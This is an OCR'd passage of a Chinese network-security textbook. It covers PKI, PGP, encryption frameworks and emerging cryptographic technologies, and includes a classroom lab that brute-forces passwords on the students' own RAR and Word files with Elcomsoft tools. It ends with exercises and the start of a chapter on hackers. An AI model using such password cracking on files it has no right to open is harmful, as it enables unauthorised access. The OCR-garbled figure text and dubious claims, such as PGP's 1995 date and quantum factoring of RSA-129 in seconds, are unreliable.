(1) 保密 性 。 保 证 电子 商务 中 涉及 的 保密 信息 在 公开 网 络 传输 过 程 中 不 被 窃取 。 

(2) 完整 性 。 保 证 所 传输 的 交易 信息 不 被 中 途 算 改 并 通过 重复 发 送 进行 虚假 交易 。 

(3) 身份 认证 与 授权 。 在 电子 商务 交易 过 程 中 ,对 双方 进行 认证 ,以 保证 交易 双方 身 
份 的 正确 性 。 

(4) 抗 抵赖 。 在 交易 完成 后 ,保证 交易 的 任何 一 方 无 法 否认 已 发 生 的 交易 。 

PKI 技术 (Public Key Infrastructure, 公 钥 基 础 设施 ) 成 为 当前 解决 这 一 问题 的 关键 
技术 。 通 过 把 要 传输 的 数字 信息 进行 加 密 . 保 证 信息 传输 的 保密 性 、 完 整 性 ,通过 签名 保 
证 身份 的 真实 性 和 抗 抵赖 。 

PKI 体系 由 认证 机 构 (CA)、 注 册 机 构 (RA)、 存 储 库 、 密 钥 备 份 及 恢复 系统 、 证 书 作 
废 处 理 系统 .PKI 应 用 接口 六 大 部 分 组 成 。 

(1) 认证 机 构 (Certification Authority,CA) 。 证 书 的 签发 机 构 , 它 是 PKI 的 核心 ,是 
PKI 应 用 中 权威 的 .可 信任 的 .公正 的 第 三 方 机 构 。 认 证 机 构 作 为 一 个 可 信任 的 机 构 , 管 
理 各 个 主体 的 公 钥 并 对 其 进行 公证 ,目的 是 证 明 主体 的 身份 与 其 公 钥 的 匹配 关系 。 认 证 
机 构 的 功能 包括 证 书 的 分 发 .更 新 .查询 .作废 和 归档 等 功能 。 

(2) 注册 机 构 (Registration Authority,RA)。 是 可 选 的 实体 ,RA 实现 分 担 CA 部 分 
职责 的 功能 ,其 基本 职责 是 认证 和 验证 服务 ,可 将 RA 配置 为 代表 CA 处 理 认证 请 求 和 撤 
销 请 求 服务 。 

(3) 证 书库 。 是 包含 了 CA 发 行 的 证 书 的 数据 库 , 集 中 存放 证 书 , 供 公众 查询 。 

(4) 密 钥 备份 及 恢复 系统 。 用 户 的 解密 密 钥 进行 备份 , 当 丢 失 时 进行 恢复 ,而 签名 密 
钥 不 能 备份 和 恢复 。 
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(5) 证 书 作废 处 理 系统 。 证 书 由 于 某 种 原因 需要 作废 ,终止 使 用 ,这 将 通过 证 书 撤销 
列表 (Certificate Revocation List,CRL) 来 完成 。 

实现 过 程 : 现 有 持 有 证 书 人 甲 向 持 有 证 书 人 乙 传送 数字 信息 ,通信 过 程 要 求 通信 双 
方 实现 身份 认证 ,并 要 保证 信息 传送 的 保密 性 .完整 性 和 抗 抵赖 性 。 实 现 过 程 使 用 数字 
加 密 和 数字 签名 ,其 传送 过 程 如 下 : 

(1) 甲 准备 好 要 传送 的 数字 信息 (明文 )。 

(2) 甲 对 数字 信息 进行 散 列 运算 ,得 到 一 个 信息 摘要 。 

(3) 甲 用 自己 的 私 钥 对 信息 摘要 进行 加 密 得 到 甲 的 数字 签名 ,并 将 附 在 数字 信息 上 。 

(4) 甲 随机 产生 一 个 对 称 加 密 密 钥 (K), 并 用 K 对 要 发 送 的 信息 加 密 , 形 成 密 文 。 

(5) 甲 用 乙 的 公 钥 (PK) 对 K 进行 加 密 , 将 加 密 后 的 K 连同 密 文 一 起 传送 给 乙 。 

(6) 乙 收 到 甲 传送 过 来 的 密 文 和 加 过 密 的 公开 密 钥 KK, 先 用 自己 的 私 钥 (SK) 对 加 密 
公开 密 钥 K 进行 解密 ,得 到 K, 

(7) 乙 然后 用 K 对 收 到 的 密 文 进行 解密 ,得 到 明文 的 数字 信息 。 

(8) 乙 用 甲 的 公 钥 (PK) 对 甲 的 数字 签名 进行 解密 ,得 到 信息 摘要 。 

(9) 乙 用 相同 散 列 算法 对 收 到 明文 再 进行 一 次 散 列 运算 ,得 到 一 个 新 信息 摘要 。 

(10) 乙 将 收 到 的 信息 摘要 和 新 产生 的 信息 摘要 进行 比较 ,如 果 一 致 ,说 明 收 到 的 信 
息 没 有 被 修改 过 。 


5. PGP 方法 


PGP(Pretty Good Privacy) Ë: Zimmermann 于 1995 年 开发 出 来 的 。 它 是 一 个 完整 
的 电子 邮件 安全 软件 包 , 包 括 加 密 ,鉴别 .电子 签名 和 压缩 等 技术 。PGP 并 没有 使 用 什么 
新 的 概念 , 它 是 一 个 混合 加 密 算 法 ,由 一 个 对 称 加 密 算法 (IDEA 或 3DES) .一 个 非 对 称 加 
密 算 法 (RSA 或 Diffie-Hellman) 、 一 个 单 向 散 列 算法 (MD5) 以 及 一 个 随机 数 产 生 器 (从 
用 户 击 键 频率 产生 伪 随 机 数 序列 的 种 子 ) 组 成 。 

PGP 工作 原理 如 图 4-17, 最 后 一 步 BASE64 到 ASCII 文本 的 转换 是 为 了 实现 电子 
邮件 的 兼容 性 ,但 由 于 很 多 电子 邮件 系统 只 允许 使 用 由 ASCII 正文 组 成 的 块 ,所 以 PGP 
提供 了 radix-64 转换 方案 ,将 原始 二 进 制 流转 化 为 可 打印 的 ASCII 字符 。 


加 密 后 的 密 钥 K 和 加 密 后 的 
报 文 P1.2 拼 接 在 一 起 
MD5(P) H PI P1.Z | ASCII 码 
Mp5 算计 一 (RSA -| Z. 上 -Ca sama 
I EPP 网 络 上 
采用 MD 算法 产生 采用 SKA 等 名 采用 密 钥 K (se) 
邮件 摘要 邮件 摘要 加 密 报 文 P1.Z 
采用 PKB 
加 密 密 钥 K 


图 4-17 PGP 工作 原理 图 
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PGP 实现 了 对 邮件 的 发 送 方 和 接收 方 的 鉴别 (双方 的 公 钥 对 ) ,发 送 方 的 不 可 否认 性 
(发 送 方 的 数字 签名 ) .邮件 的 机 密 性 (对 称 式 加 密 ) .邮件 的 完整 性 ( 散 列 函数 ) 。 

在 PGP 中 ,最 有 特色 的 或 许 就 是 它 的 密 钥 管理 。PGP 包含 4 种 密 钥 : 一 次 性 会 话 密 
钥 、 公 开 密 钥 、 私 有 密 钥 和 基于 口令 短语 的 常规 密 钥 。 

用 户 使 用 PGP 时 ,应 该 首先 生成 一 个 公开 密 钥 /私有 密 钥 对 。 其 中 公开 密 钥 可 以 公 
开 , 而 私有 密 钥 绝 对 不 能 公开 。PGP 将 公开 密 钥 和 私有 密 钥 用 两 个 文件 存储 ,一 个 用 来 
存储 该 用 户 的 公开 /私有 密 钥 , 称 为 私有 密 钥 环 ; 男 一 个 用 来 存储 其 他 用 户 的 公开 密 钥 ， 
称 为 公开 密 钥 环 。 


435 加 密 技术 综合 应 用 解决 方案 


1. 加 密 体系 及 应 用 技术 


1) 加 密 目 标 及 解决 的 关键 问题 

对 设计 系统 中 数据 的 机 密 性 .完整 性 进行 保护 ,并 提高 应 用 系统 服务 和 数据 访问 的 
抗 抵赖 性 。 主 要 包括 以 下 几 方 面 : 

(1) 进行 存储 数据 的 机 密 性 保护 和 传输 数据 的 机 密 性 保护 。 

(2) 提高 存储 数据 ,传输 数据 和 处 理 数 据 的 完整 性 。 

(3) 防止 原 发 抵赖 和 接收 抵赖 。 

2) 加 密 体系 框架 

加 密 体系 包括 加 密 服务 .基本 加 密 算法 和 密 钥 生命 周期 管理 。 加 密 体系 框架 如 图 4-18 
所 示 。 


加 密 服务 
单 向 散 列 | 加 密 解密 | 消息 认证 码 | 数字 签名 | 密 钥 安置 | 随机 数 生成 
基本 加 密 算法 
对 称 加 密 。 | 公 钥 加 密 | 单 向 散 列 


密 钥 生命 周期 管理 
准备 阶段 运行 阶段 维护 阶段 废弃 阶段 


4-18 ”加密 体系 框架 


3) 采用 的 基本 加 密 技术 

(1) 单 向 散 列 (hash cryptography), 

(2) 对 称 密 钥 加 密 (symmetric key cryptography), 
(3) 公 钥 加 密 (public key cryptography) 。 


2. 加 密 服 务 
加 密 服 务 一 般 包括 加 解密 、 消 息 认证 码 、 数 字 签 名 、 密 钥 安 置 和 随机 数 生成 。 


s 密码 及 加 密 技术 
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3. 密 钥 管理 
密 钥 管理 包括 密 钥 的 种 类 及 密 钥 的 分 配 、 存 储 等 管理 工作 。 
4. 证 书 管理 


证 书 管理 包括 以 下 几 方 面 的 工作 : 
(1) 公 钥 / 私 钥 对 的 生成 和 存储 。 
(2) 证 书 的 生成 和 发 放 。 

(3) 证 书 的 合法 性 校 验 。 

(4) 交叉 认证 。 


5. 网 络 应 用 加 密 


(1) 链 路 层 加 密 。 是 在 结 点 间或 主机 间 进 行 的 ,信息 刚好 在 进入 物理 通信 和 链 路 前 被 
加 密 。 链 路 层 加 密 示 意图 如 图 4-19 所 示 。 


应 用 层 
表现 层 
会 话 层 s M 
传输 层 | [T[S] M 
B 一 数据 链 路 头 ( 帧 标记 ) 
网 络 层 N|T|S M N 一 网 络 头 (路 由 选择 ) 
T 一 传输 头 (优先 权 ) 
据 链 路 屋 | [B |N|T|s M [E] S 一 会 话 头 (同步 ) 
M 一 消息 
物理 层 BINITIS M E E 一 数据 链 路 尾 ( 纠 错 ) 


4-19 ” 链 路 层 加 密 


(2) 网 络 层 加 密 。 是 在 网 关 之 间 进行 的 。 加 密 网 关 位 于 被 保护 站 点 与 路 由 器 之 间 ， 
信息 在 进入 路 由 器 前 已 进行 加 密 处 理 。 网 络 层 加 密 示 意图 如 图 4-20 所 示 。 


IP 头 人 数据 报 文 IP 头 | 数据 报 广 
Z ⁄ ` 过 
| ms [Pse] 数据 报 文 新 Pp 头 ipsec 夹 | IP3 | 数据 报 广 
加 密 数据 加 密 数据 


(a) 传输 模式 安全 封装 (b) 隧道 模式 安全 封装 


图 4-20 ”网络 层 加 密 


(3) 应 用 层 加 密 。 也 称 端 到 端 加 密 , 即 提供 传输 的 一 端 到 男 一 端的 全 程 保密 。 加 密 
可 以 通过 硬件 和 软件 来 实现 ,此 时 加 密 是 在 OSI 的 第 7 层 (应 用 层 ) 和 第 6 层 ( 表 现 层 ) 实 
现 的 。 应 用 层 加 密 示意 图 如 图 4-21 所 示 。 
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应 用 层 M 
表现 层 M 
会 话 层 | [s| wM 
传输 层 T|S M | 
B 一 数据 链 路 头 ( 帧 标记 ) 
网 络 层 | [NTTs M N 一 网 络 头 (路 由 选择 ) 
T 一 传输 头 (优先 权 ) 
数据 链 路 层 | |B | NT | s M E] s 一 会 话 头 (同步 ) 
M 一 消息 
物理 层 | [Bs|N[T|s M “| =] 一 数据 链 路 尾 ( 纠 错 ) 
图 4-21 应 用 层 加 密 
6. 指导 原则 
指导 原则 如 下 : 


(1) 提供 全 面 的 一致 的 加 密 保护 服务 。 
(2) 统一 管理 ,分 布 部 署 。 
(3) 加 密 信息 共享 。 


436 加 密 高 新 技术 及 发 展 


密码 技术 是 信息 安全 的 核心 技术 ,无 处 不 在 。 随 着 现代 科技 高 速 发 展 和 技术 的 进 
步 ,诞生 了 许多 高 新 密码 技术 ,目前 已 经 渗透 到 许多 领域 。 

(1) 密码 专用 芯片 集成 。 密 码 技术 已 经 渗透 到 大 部 分 安全 产品 之 中 , 正 向 芯片 化 方 
向 发 展 。 近 年 来 ,我 国 集成 电路 产业 技术 的 创新 和 自主 开发 能 力 得 到 了 加 强 , 微 电子 工 
业 也 得 到 发 展 , 从 而 推动 了 密码 专用 芯片 的 发 展 。 密 码 专用 芯片 的 研制 将 会 推动 信息 安 
全 系统 的 完善 。 

(2) 量子 加 密 技术 的 研究 。 量 子 技术 在 密码 学 上 的 应 用 分 两 类 : 一 类 是 利用 量子 计 
算 机 对 传统 密码 体制 的 分 析 ; 另 一 类 是 利用 单 光 子 的 测 不 准 原理 在 光纤 一 级 实现 密 钥 管 
理 和 信息 加 密 , 即 量子 密码 学 。 量 子 计算 机 相当 于 一 种 传统 意义 上 的 超大 规模 并 行 计算 
机 系统 ,利用 量子 计算 机 可 以 在 几 秒 钟 内 分 解 RSA129 的 公 钥 。 根 据 互联 网 的 发 展 趋 
势 , 全 光纤 网 络 将 是 今后 网 络 连接 的 发 展 方向 ,利用 量子 技术 可 以 实现 传统 的 密码 体制 ， 
在 光纤 一 级 实现 密 钥 交换 和 信息 加 密 , 其 安全 性 是 建立 在 海 森 伯 格 的 测 不 准 原 理 上 的 ， 
如 果 攻 击 者 企图 接收 并 检测 信息 发 送 方 的 信息 (偏振 ), 则 将 造成 量子 状态 的 改变 ,这 种 
改变 对 攻击 者 而 言 是 不 可 恢复 的 ,而 对 接收 方 则 很 容易 检测 出 信息 是 否 受到 攻击 。 目 前 
量子 加 密 技术 仍然 处 于 研究 阶段 ,其 量子 密 钥 分 配 (QKD) 在 光纤 上 的 有 效 距离 还 达 不 到 
远 距离 光纤 通信 的 要 求 。 

(3) 全 息 防伪 标识 的 隐 型 加 密 技 术 。 利 用 特殊 的 工艺 在 全 息 防伪 标识 中 植 入 密码 ， 
可 以 很 好 地 解决 全 息 防 伪 标 识 问题 。 

全 息 防 伪 标 识 的 主要 特点 是 : 有 一 定 的 隐蔽 性 ;密码 的 植 人 方法 简单 ;密码 可 以 不 受 
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图 形 结构 的 限制 ;提取 密码 的 方法 简便 易 行 。 

(4) 活体 指纹 身份 鉴别 保管 箱 应 用 系统 。 该 系统 应 用 非常 广泛 ,主要 由 指纹 采集 器 、 
计算 机 、 保 险 箱 体 及 加 密 电路 构成 ,具有 保密 性 .唯一 性 和 不 可 仿 性 等 特点 。 其 主要 功能 
如 下 : 

Q@ 具有 指纹 登记 .开启 , 单 指纹 生效 ,多 指纹 单独 生效 ,多 指纹 同时 生效 功能 。 

@ 具有 数据 管理 功能 。 

@ 指纹 鉴别 误 识 率 小 于 0.0001, 拒 识 率 小 于 1%。 

@ 电磁 锁 互 开 率 小 于 0. 001。 

@ SUP 器 错误 率 小 于 0. 001。 

@ 抗 电磁 干扰 : 20 一 1000MHz。 

(5) 电脑 密码 锁 。 其 特点 是 : 保密 性 好 ;SUP 可 变 ; 误 码 输 入 保护 ,三 次 输入 错 码 发 
出 警 声 并 关闭 主 控 电 路 ;停电 不 丢 码 ;多 种 密码 开锁 方式 ,便于 使 用 。 

(6) 软件 加 密 卡 。 是 一 种 阻止 非法 复制 软件 的 硬件 卡 。 

(7) 宽带 多 协议 VPN 数据 加 密 机 。 我 国 的 宽带 多 协议 VPN 数据 加 密 机 技术 已 经 
达到 国际 先进 水 平 。 该 项 目 实 现 保 密 信息 在 不 可 靠 的 公用 数据 网 等 信息 传输 媒体 上 的 
安全 通信 。 

(8) 因特网 使 用 的 系列 商用 密码 系统 。 

(9) 数字 信息 的 加 解密 方法 。 

(10) 第 五 代 加 密 软件 狗 。 

(11) 网 上 适用 的 密码 数据 不 可 见 的 隐形 密码 系统 。 

(12) 支付 密码 器 系统 。 

(13) 信号 广义 谱 的 研究 及 其 在 通信 编码 中 的 应 用 。 

(14) 硬盘 加 密 系统 。 

(15) 排列 码 加 密 解 密 方法 及 技术 。 

(16) 基于 DSP 的 加 密 算法 的 研究 与 实现 。 

(17) 计算 机 文件 加 密 、 解 密 、 多 级 签字 及 安全 性 管理 软件 。 

信息 隐藏 技术 .数字 信封 技术 .嵌入 密码 技术 和 多 项 综合 技术 等 高 新 技术 将 成 为 一 
种 新 的 发 展 趋势 。 

加 讨论 思考 

(1) 简 述 非 对 称 式 加 密 算法 的 特点 。 

(2) 简 述 DES 和 3DES 的 区 别 。 


44 实验 四 : 密码 恢复 软件 应 用 


Elcomsoft Distributed Password Recovery 是 一 款 实 用 的 密码 恢复 软件 ,用 于 帮助 用 
户 找 回 忘记 或 者 丢失 的 文件 密码 。 这 里 使 用 的 是 穷尽 搜索 法 ,是 一 款 可 以 对 各 种 常见 文 
件 格式 进行 密码 恢复 的 软件 套装 ,内 含 Elcomsoft 所 有 产品 ,包含 Archive、Disk Catalog. 
ebook 、EFS Data IE Instant Messagers, Intuit\ Lotus, Mailbox. Office. Outlook. PDF. 
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RAR Registry Tracer VBA Windows Password. WP Office. Zip 和 Windows Security 


Explorer, 
441 实验 目的 与 要 求 

掌握 密码 恢复 软件 的 原理 ,了 解密 码 恢复 软件 的 使 用 方法 。 
442 实验 方法 


1. 实验 环境 与 设备 


装 有 Windows XP/Vista/7/2000/2003 操作 系统 的 PC。 
实验 用 时 : 2 学 时 (90 一 120 分 钟 ) 。 


2. 注意 事项 


(1) 实验 课 前 必须 预习 实验 内 容 , 准 备 多 种 加 密 文件 ,如 Word. Excel.PDF.RAR, 
Ebook VBA 等 的 加 密 文件 。 

(2) 由 于 普通 PC 运行 速度 较 慢 ,但 实验 时 间 有 限 , 因 此 ,加 密 时 建议 设置 密码 使 用 
元 素 单 一 (如 纯 大 写字 母 ` 纯 小 写字 母 或 纯 数 字 中 选择 一 种 ) ,位 数 不 要 过 多 ;第 二 种 方案 
是 设置 密码 为 大 写字 和 母 ,小 写字 母 或 数字 3 类 元 素 中 的 两 类 ,密码 3 位 。 对 这 两 种 类 型 
密码 在 课 上 完成 密码 恢复 。 


3. 实验 方法 
建议 两 人 一 组 ,互相 恢复 对 方 的 加 密 文件 。 
443 实验 内 容 及 步骤 


1. 实验 内 容 


(1) 破解 RAR 加 密 文件 ,获取 密码 ,分 析 密 码 和 破解 它 所 消耗 时 间 的 关系 。 
(2) 破解 Word 加 密 文件 ,获取 密码 ,分析 密 码 和 破解 它 所 消耗 时 间 的 关系 。 


2. 实验 步骤 
1) 密码 恢复 设置 (压缩 文件 密码 恢复 实验 ) 


(1) 运行 Advanced Archive Password Recovery, 

(2) 单 击 Open 按钮 ,出 现 对 话 框 ,选择 加 密 的 RAR 文件 ,如 图 4-22 所 示 。 

(3) 通常 密码 由 大 写字 母 (All caps latin)、 小 写字 母 (All small latin) 和 数字 (All 
digits) 组 成 ,根据 密码 的 构成 ,选择 暴力 破解 范围 (Brute-force range options), 如 图 4-23 
所 示 。 

(4) 通常 Start from 和 End at 选项 为 空 , 如 图 4-23 所 示 。 

(5) 单 击 Start 按钮 执行 解密 操作 。 


Open File... 
SE I a; 


s 密码 及 加 密 技术 
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GO 贡生 ， MDSENSATEEFIEF 


ETE 


组 织 ” 。 新 建文 件 夫 =+ me 
k 8 “名称 修改 日 其 
à Es Microsoft Word Documents 
f xe accx 2016/1/72349 — Mic Microsoft Excel Documents 
+ 新 概念 1 Microsoft Access Databases 
+ wabzisse Microsoft Outlook Personal Storage Files 
Microsoft Outlook VBA Macro files 
+ 了 建文 作 夫 Q) Microsoh Money Databases 
J 新 建文 伯 夫 (3) Visio Fles 
新 建文 件 夫 (a) Microsoft PowerPoint Presentations 
" by Microsoft OneNote Files 
k 英文 歌曲 Microsoft Project Files 
k 元 是 晚 会 材料 B Microsoft Pocket Excel Files 
Open Document Files 
La 34 Hancom Office Files | 
L min 1 res Al Fles (°.") 


File Recovery Help 


SO 8 W G@ % @ 


Open Start ! Stop 


@ Ú 


Benchmark Upgrade — Hep About Quit 


Encrypted ZIP/RAR/ACE/ARJ-file Type of attack 


PR version 4.54 (c) 1997-2012 ElcomSoft Co. Ltd. 


图 4-23 选择 暴力 破解 范围 


2) 结果 分 析 


密码 恢复 所 需要 的 时 间 随 着 密码 的 长 度 和 复杂 度 的 不 同 而 不 同 。 本 例 中 对 一 个 数 
字 3 位 数 密码 123 加 密 的 压缩 文件 进行 恢复 ,初始 设置 暴力 破解 范围 (Brute-force range 
options) 选 择 数 字 (All digits) ,密码 恢复 使 用 的 时 间 是 1s 48ms, 如 图 4-24 所 示 。 对 一 个 
4 位 密码 91qw 加 密 的 压缩 文件 进行 恢复 ,初始 设置 暴力 破解 范围 (Brute-force range 
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options) 选 择 数字 (All digits) 和 小 写字 母 (All small latin) ,密码 恢复 使 用 的 时 间 是 3h 
13m 8s 696ms, 如 图 4-25 所 示 。 


Password successfully recovered ! sg: 
: - - 


4-24 3 位 数字 密码 恢复 结果 


Password successfully recovered ! [ 


Advanced Archive Password Recovery statistics: 


1,715,209 


Ë 
š 
EE 


图 4-25 4 位 数字 和 字母 密码 恢复 结果 
3) Office 密码 恢复 实验 


(1) 运行 Advanced Office Password Recovery。 
(2) 单 击 Open file 按钮 ,出 现 对 话 框 ,选择 加 密 文件 ,如 图 4-26 所 示 。 
(3) 密码 恢复 结果 如 图 4-27 所 示 。 

P Open | | =s! 


ER < W > MD: 


2016/1/7 23:49 Mic Microsoft Excel Documents 
Microsoft Access Databases 
Microsoft Outlook Personal Storage Files 
Microsoft Outlook VBA Macro files 
Microsoft Money Databases 
Visio Files 
Microsoft PowerPoint Presentations 
Microsoft OneNote Files 
Microsoft Project Files 
Microsoft Pocket Excel Files 
Open Document Files 
Hancom Office Fles 


All Files (*.°) 


图 4-26 选择 文件 


Word Passwords Recovered & = 1 
Word Fie Opening Password: qw (a 
Word Write Protection Password: <none> (3 
Word Document Protection Password: <can be removed> (a 
Word VBA Password: <none> [站 
File Path: 
C: UsersihibiDesktop 宇文 件 ,docc | Bopen. | 
All Passwords for the selected file were recovered successfully or may be changed. 
Word R/O and Document Prol t be recovered due to strong 
encryption algorithm, but they can be easiy removed fr( it. Press 
al from document" button to save the document without 
ds. 
[ Create backup copy 
Change veAPassword | | peetevehpassod ] 


—— u 


4-27 Otfice 密码 恢复 结果 


45 本 章 小 结 


本 章 介 绍 了 密码 技术 的 相关 概念 .密码 学 与 密码 体制 .数据 及 网 络 加 密 方式 ;讨论 了 
密码 破译 方法 与 密 钥 管理 ;概述 了 实用 加 密 技术 ,包括 对 称 加密 技 术 、 非 对 称 加 密 技术 、 
单 向 加 密 技术 无线 网 络 加 密 技术 、 实 用 综合 加 密 方法 、 加 密 高 新 技术 及 发 展 ;最 后 ,简单 
介绍 了 数字 信封 .数字 证 书 和 PKI 技术 ,并 介绍 了 一 种 密码 恢复 软件 的 使 用 。 


46 练习 与 实践 四 


1. 选择 题 


(1) 密码 技术 可 以 确保 信息 在 存储 和 传输 过 程 中 的 ( ) ,而 且 可 以 保证 信息 的 完 
整 性 和 准确 性 ,防止 信息 被 自 改 ,伪造 和 假冒 。 


A. 控制 安全 性 B. 网 络 服务 正确 性 
C. 抗 攻击 性 D. 机 密 性 
(2) 网 络 加 密 常 用 的 方法 有 端 - 端 、( ) 加 密 和 结 点 加 密 3 种 。 
A. 链 路 加 密 B. 系统 C. 信息 D. 网 站 


(3) 根据 密码 分 析 者 破译 时 已 具备 的 前 提 条 件 , 通 常 将 攻击 类 型 分 为 4 种 分 别 是 
( ) ) 、 唯 密 文 攻击 和 已 知 明文 攻击 。 
A. 明文 攻击 、 密 文 攻击 B. 选择 明文 攻击 、 明 文 攻击 
C. 选择 密 文 攻击 、 唯 密 文 攻击 D. 明文 攻击 .选择 密 文 攻击 
(4) 散 列 函数 的 特征 包括 强 碰撞 自由 、 弱 碰撞 自由 和 (  )。 
A. 计算 的 单 向 性 B. 函数 复杂 性 
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C. 非 对 称 D. 混合 密码 体制 
2. 填空 题 
(1) 现代 密码 学 是 一 门 涉及 š 等 多 学 科 的 综 
合 性 学 科 。 
(2) 凯撒 密码 被 称 为 循环 移 位 密码 ,优点 是 ,缺点 是 


(3) PKI 是 通过 把 要 传输 的 数字 信息 进行 加 密 , 保证 信息 传输 的 


(4) 常用 的 非 对 称 加 密 算 法 有 
3. 简 答题 


(1) 举例 介绍 你 正在 应 用 的 加 密 功 能 。 

(2) 简单 论述 加 密 算法 在 各 系统 应 用 过 程 中 的 作用 。 
(3) 简 述 对 称 密 钥 算法 和 非 对 称 密 钥 算 法 的 区 别 。 
(4) 举例 说 明 如 何 实现 非 对称 密 钥 的 管理 。 


4. 实践 题 


(1) 已 知 在 RSA 算法 中 ,素数 p=5,q=7, 模 数 "一 35, 公 开 密 钥 e=5, 密 文 一 10， 
求 明文 。 试 用 手工 完成 RSA 公开 密 钥 密 码 体制 算法 加 密 运算 。 

(2) 利用 对 称 加 密 算法 对 123456789 进行 加 密 ,并 进行 解密 (上 机 完成 ) 。 

(3) 已 知 密 文 C=abacnuaiotettgfksr, 且 知 其 是 使 用 替代 密码 方法 加 密 的 。 你 能 用 
程序 分 析出 其 明文 和 密 钥 吗 ? 

(4) 通过 调研 及 借鉴 资料 , 写 出 一 份 分 析 密 码 学 与 网 络 安全 管理 的 研究 报告 。 

(5) 凯撒 密码 加 密 运 算 公 式 为 c==(m 十 k) mod 26, 密 钥 可 以 是 0 一 25 的 任何 一 个 确 
定 的 数 。 试 用 程序 实现 算法 ,要 求 可 灵活 设置 密 钥 。 


第 5 音 chapter 和 
黑客 攻防 与 检测 防御 


黑客 对 网 络 系统 的 入 侵 与 攻击 现象 频频 出 现 ,严重 威胁 着 各 种 网 络 系统 和 应 用 的 安 
全 。 网 络 安全 问题 成 为 学 者 、 用 户 和 安全 保卫 者 研究 的 重要 课题 之 一 。 网 络 安全 管理 的 
重要 工作 之 一 是 防范 黑客 攻击 与 人 侵 检测 和 防御 技术 的 研究 。 


BE 教学 目标 


。 掌握 黑客 和 入 侵 检测 的 概念 。 

° 熟悉 黑客 常用 的 攻击 方法 及 步骤 。 

。 掌握 黑客 攻击 防御 措施 和 方法 。 

。 掌握 入 侵 检 测 系统 的 功能 、 工 作 原 理 、 特 点 及 应 用 。 
。 掌握 入 侵 检 测 与 防范 技术 的 发 展 趋势 。 


51 网 络 黑客 概述 


【案例 5-1] 约翰 。 德 雷 珀 出 生 于 美国 空军 工程 师 家 庭 ,1970 年 发 现 口 哨 产生 的 
2600Hz 的 声波 可 用 来 欺骗 电话 交换 机 ,系统 收 到 这 个 频率 信号 以 为 通话 中 断 , 便 停止 计 
费 , 于 是 可 以 继续 打 免 费 电 话 。 后 人 各 种 各 样 的 入 侵 电 话 网 络 行为 都 可 追溯 到 约翰 。 德 
雷 珀 ,他 不 仅 是 盗 打 电 话 的 “鼻祖 ”, 也 成 为 网 络 入 侵 行为 的 “先驱 ”。 


511 黑客 的 概念 及 类 型 


1. 黑客 及 其 演变 


黑客 是 英文 Hacker 的 译音 , 源 于 hack, 本 意 为 * 干 了 一 件 非常 漂亮 的 事 ”。 原 指 一 群 
专业 技能 超群 .聪明 能 干 .精力 旺盛 ,并 且 精 通 攻 击 和 防御 ,可 以 发 现 威胁 ,并 提出 防御 方 
案 的 人 。 后 来 “黑客 ”一 词 成 为 专门 利用 计算 机 进行 破坏 或 人 侵 他 人 计算 机 系统 的 人 的 
代名词 。 

在 虚拟 的 网 络 世 界 里 ,黑客 已 成 为 一 个 特殊 的 社会 群体 。 黑 客 攻击 是 网 络 面 临 的 最 
严重 的 安全 问题 。 国 内 外 网 络 资源 遭 破 坏 和 攻击 现象 呈现 出 急剧 上 升 态 势 且 种 类 多 变 ， 
系统 漏洞 、 网 络 资源 应 用 已 成 为 黑客 的 攻击 目标 。 有 不 少 黑客 组 织 利 用 网 站 介绍 攻击 手 
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段 , 免 费 提 供 各 种 黑客 工具 和 资料 ,致使 普通 用 户 也 能 很 容易 学 会 使 用 一 些 简 单 的 黑客 
手段 或 工具 对 网 络 进行 某 种 程度 的 攻击 ,进一步 恶化 了 网 络 安全 环境 。 


2. 中 国 黑 客 的 形成 与 发 展 


1994 年 4 月 20 日 ,中 国 国家 计算 机 与 网 络 设施 工程 NCFC(National Computing 
and Networking Facility of China) 通 过 美国 Sprint 公司 开通 连 入 Internet 的 64Kb/s 国 
际 专 线 , 实 现 了 与 Internet 的 全 功能 连接 。 中 国 成 为 直接 接 入 Internet 的 国家 。 从 那 时 
起 ,中 国 黑客 开始 了 原始 萌动 。1998 年 ,印度 尼 西 亚 爆发 了 大 规模 排 华 事件 ,中 国 黑客 开 
始 组 织 起 来 ,用 ping 的 方式 攻击 印尼 网 站 。 这 次 行动 造就 了 中 国 黑客 最 初 的 团结 与 合作 
的 精神 。 这 事件 之 后 ,有 些 人 又 回 到 了 现实 生活 中 ,有 些 人 则 从 此 开始 了 对 黑客 理想 的 
执着 追求 。1999 年 是 网 络 泡 沫 高 度 泛滥 的 顶峰 时 期 ,刚刚 起 步 的 中 国 黑客 开始 划分 自己 
的 势力 范围 。 从 1999 年 到 2000 年 ,中 国 黑客 联盟 、 中 国 座 派 .中国 红 客 联盟 等 一 大 批 黑 
客 网 站 兴起 。 时 至 今日 ,国内 黑客 中 却 是 为 了 件 取 暴利 而 从 事 散发 木马 等 行为 的 “ 毒 客 ” 
占 主流 。 中 国 互 联网 形成 了 惊人 的 黑客 病毒 产业 链 ,从 制造 木马 传播 木 马 .盗窃 账户 信 
息 直到 第 三 方 平 台 销 赃 .洗钱 ,分 工 明 确 。 从 带 着 理想 主义 和 政治 热情 的 红 客 占 主流 到 
非法 牟利 的 毒 客 横行 ,这 是 一 个 无 奈 的 变化 。 


3. 黑客 的 类 型 


从 最 初 的 黑客 一 词 逐 渐 分 化 出 红 客 ,. 蓝 客 . 骇 客 等 名 词 。 

黑客 ,最 早 源 自 英文 hacker, 早 期 在 美国 的 计算 机 界 是 带 有 讲义 的 。 都 是 水 平 高 超 
的 计算 机 专家 ,尤其 是 程序 设计 人 员 ,算是 一 个 统称 。 

红 客 声称 维护 国家 利益 ,代表 中 国人 民意 志 。 

蓝 客 声称 信仰 自由 ,用 自己 的 力量 来 维护 网 络 的 和 平 。 

骇 客 是 Cracker 的 音译 ,就 是 “破解 者 ”的 意思 ,他 们 从 事 恶意 破 解 商 业 软件 .恶意 人 
侵 别 人 的 网 站 等 活动 。 黑 客 与 骇 客 本 质 上 是 相同 的 ,都 是 冯 入 计算 机 系统 /软件 者 ,两 者 
并 没有 一 个 十 分 明显 的 界限 。 


512 黑客 攻击 的 途径 


黑客 和 黑客 技术 对 大 多 数 用 户 而 言 还 是 非常 陌生 的 ,下 面 介 绍 有 关 黑 客 的 基础 
知识 。 


1. 黑客 攻击 的 主要 原因 一 一 漏洞 


漏洞 又 称 缺 陷 , 是 在 硬件 .软件 协议 的 具体 实现 或 系统 安全 策略 上 存在 的 缺陷 ,从 
而 可 使 攻击 者 能 够 在 未 授权 的 情况 下 访问 或 破坏 系统 。 从 某 种 意义 上 来 讲 , 黑 客 的 产生 
